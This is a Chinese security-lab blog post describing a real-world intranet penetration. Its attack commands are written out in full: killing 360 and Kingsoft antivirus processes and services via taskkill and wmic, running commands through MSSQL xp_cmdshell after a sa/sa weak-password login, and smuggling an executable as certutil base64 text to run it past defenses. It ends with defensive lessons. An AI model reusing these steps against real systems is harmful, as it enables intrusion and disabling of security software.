专栏名称: 伏宸安全实验室
伏宸安全实验室是广东安创信息科技开发有限公司旗下的以网络安全研究为核心的专业实验室,伏宸实验室主攻前沿安全技术,包括:渗透测试、黑产对抗、威胁情报、智能硬件与无线电安全等。
目录
相关文章推荐
51好读  ›  专栏  ›  伏宸安全实验室

记一次曲折的内网渗透

伏宸安全实验室  · 公众号  ·  · 2017-11-20 15:15

正文

请到「今天看啥」查看全文


环境

网络:内网C1和C2处于同一网段,可以互通,仅DNS可以访问外网。

安全防护:360全家桶、安全狗、云锁定制版、金山卫士

其他相关信息如下表:

机名称 系统 中间件 中间件 数据库 权限
C1 win2k3 weblogic 192.168.10.10 mysql administrator
C1 win2k3 iis6.0/apache 192.168.10.100 sql server 2000 system



基本情况


C1是通weblogic反序列化拿下的,具体怎么获取的webshell就不细说了,根据C1的配置、文件、主机名和数据库等信息可以知道,目标网站之前是存放再C1的,因为上面的源码和数据库基本上和C2的一致。通过weblogic的配置文件可以知道C2的真实IP,主机上面存在各种安全防护软件,各种全家桶,很多命令、脚本和exe都无法运行,比如带有net的命令都无法运行,net、netstat、sc、wscript等



思路


目标:获取C2的管理权限,包括网站内容管理和替换等,非单纯的系统权限。

  1. 通过C1利用http隧道或DNS隧道进行socks代理,对C2进行进一步渗透

  2. 抓取C1管理员口令或直接利用当前用户的token进行攻击

  3. 利用数据库或中间件弱口令进行攻击

  4. 利用web漏洞进行攻击,如注入、上传和命令执行等漏洞

  5. 中间人攻击或者嗅探等,但是影响太大,也需等比较久的时间



过河搭桥


由于是weblogic,无法直接使用http隧道类的代理,因为环境仅支持jspx,没有找到可以用的代理webshell,故采取第二种方案,即通过DNS进行控制和代理。这里我首先想到的自然是cobalt strike的DNS Beacon。

cobalt strike dns beacon 环境构建

参考官方手册或自行google



获取beacon


由于存在360全家桶等,所以得先把他们干掉:


taskkill /im 360* /t /f

taskkill /im ZhuDongFangYu.exe /t /f

taskkill /im KSafeSvc.exe /t /f

ps:云锁是定制版,这里就不写进程名称了,也不影响远控的执行,安全无法结束也不影响


由于无法上传exe,所以将生成exe重命名为jspx上传,执行之后,等待几分钟,既可以成功上线,这里有个坑,因为内网配置的DNS可能是一些不知名的或者是114之类的,会影响上线,所以这里建议使用8.8.8.8或者119.29.29.29,因为我用的是DNSPOD,修改DNS:


netsh interface ip set dns "本地连接" source=static addr=119.29.29.29




开启代理


参考 官方手册

linux可以用Proxychains,windows可以使用Proxifier PE或SocksCap64



内网漫游


通过jsp大马自带的端口扫描发现C2开放的端口有:

80:WMC生成的html,没啥可搞的

1433:因为C1的mysql账号密码是

root/root,因此猜测存在弱口令

8080、8001、8081:就apache的一个代理,没有什么页面和功能

利用socks代理通过1433连接器,sa/sa获取了mssql的DBA权限,暗自高兴了一会,以为道这里就快搞定了,因为系统存在多个web服务,很自然的可以想到,直接可以通过mssql的xp_cmdshell,echo一个一句话就可以搞定了,然而这只是开始。



山重水复疑无路


  • iis环境,可以写一句话,但是所有目录的脚本权限都被禁止,所以这条路也断了

简单提一下,iis找网站路径的方法

1. dir/s /b f:\123.jpg (磁盘文件太多时无法使用)

2. 查看配置文件:


iis6:type  %systemroot%\system32\inetsrv\metabase.xml|findstr Path=

iis7/8:type %systemroot%\System32\inetsrv\config\applicationHost.config|findstr physicalPath=

iis7/8:  appcmd list sites



  • apache环境并没有装php,无法执行php脚本


wmic process where name="httpd.exe" get processid,executablepath,name

其他中间件或web服务的也可以根据运行程序的路径,查看其配置文件,使用wmic命令查看运行路径:


  • 上远控,远控怎么上传上去呢?于是找到这篇文章《15种文件下载的方式》

  • 再win2k3上面能用的,就剩下ftp、vbs、Bitsadmin、smb、c#、hex

  • vbs和smb都被安全狗限制无法利用

  • c#编译成功了,但是无法下载,貌似也被限制了

  • bitsadmin不存在此命令

  • FTP批量处理下载,C1上面有一个FTP,也是无法成功下载

  • hex太长转换麻烦,暂时不考虑

  • 刚刚最近国外有大神提到了certutil命令,本地测试了一下,下载的文件无法指定路径,也不能正常保存,故又放弃了此路,详情可以参考渗透测试中的certutil这篇文章,win2k3保存有问题



柳暗花明又一村


经过尝试各种下载姿势,还是无法下载,想了很久,又回到了certutil,因为他是系统自带的命令,从win2k3道windows 2016都是存在的,既可以用于下载,也可以用于base64编码和文件hash校验。故此:

  • 通过certutil将生成的exe转换为base64编码,利用echo命令写入到文本

1. 文件hash

(1) SHA1

certutil.exe -hashfile msg.dll

(2) SHA256:

certutil.exe -hashfile msg.dll SHA256

(3) MD5:

certutil.exe -hashfile msg.dll MD5

2.编码

(1) base64编码:

CertUtil -encode InFile OutFile

(2) base64解码

CertUtil -decode InFile OutFile

注:编码后的文件会添加两处标识信息,不影响文件解码

文件头:

-----BEGIN CERTIFICATE-----

文件尾:

-----END CERTIFICATE-----

  • mssql查询分析器批量echo文本保存

exec master..xp_cmdshell "echo xxxx >> C:\temp\test.txt"

  • 使用certutil还原exe可以还原为txt,因为exe无法写入,并使用其校验文件hash

  • 结束相关杀软进程和服务,这里提一点,因为C2的360是自动启动的,所以需要禁用自启,由于sc无法使用,我们可以使用wmic替代:


exec master..xp_cmdshell "taskkill /im 360* /t /f"

taskkill /im ZhuDongFangYu.exe /t /f

exec master..xp_cmdshell "wmic Service where name='360EntClientSvc' call stopservice"

exec master..xp_cmdshell "wmic Service where name='360rp' call stopservice"



  • 最后运行解码的exe即可


CertUtil -decode test.txt xshell.txt

wmic process call create 'c:\temp\xshell.txt'

总结

本次渗透,可以说是一波三折,主要学习到的东西是在复杂环境下,综合利用各种windows自带的工具进行绕过安全防护,如wmic、taskkill、certutil等综合运用,才得以绕过杀软的防御,也存在一定运气的成分如数据库弱口令、病毒库更新不及时等。

从防御的角度来看的话:

  • 加强日常安全运维的巡检,其实我的exe上传不止一次被杀或这被拦截,如果巡检自然可以发现

  • 提高安全运维人员意识,做好安全策略管理,如数据库弱口令这些本不该有的

  • 及时更新防病毒软件和恶意代码库,新版的360没法结束

  • 加强对外恶意流量的安全检测,如DNS、http等









请到「今天看啥」查看全文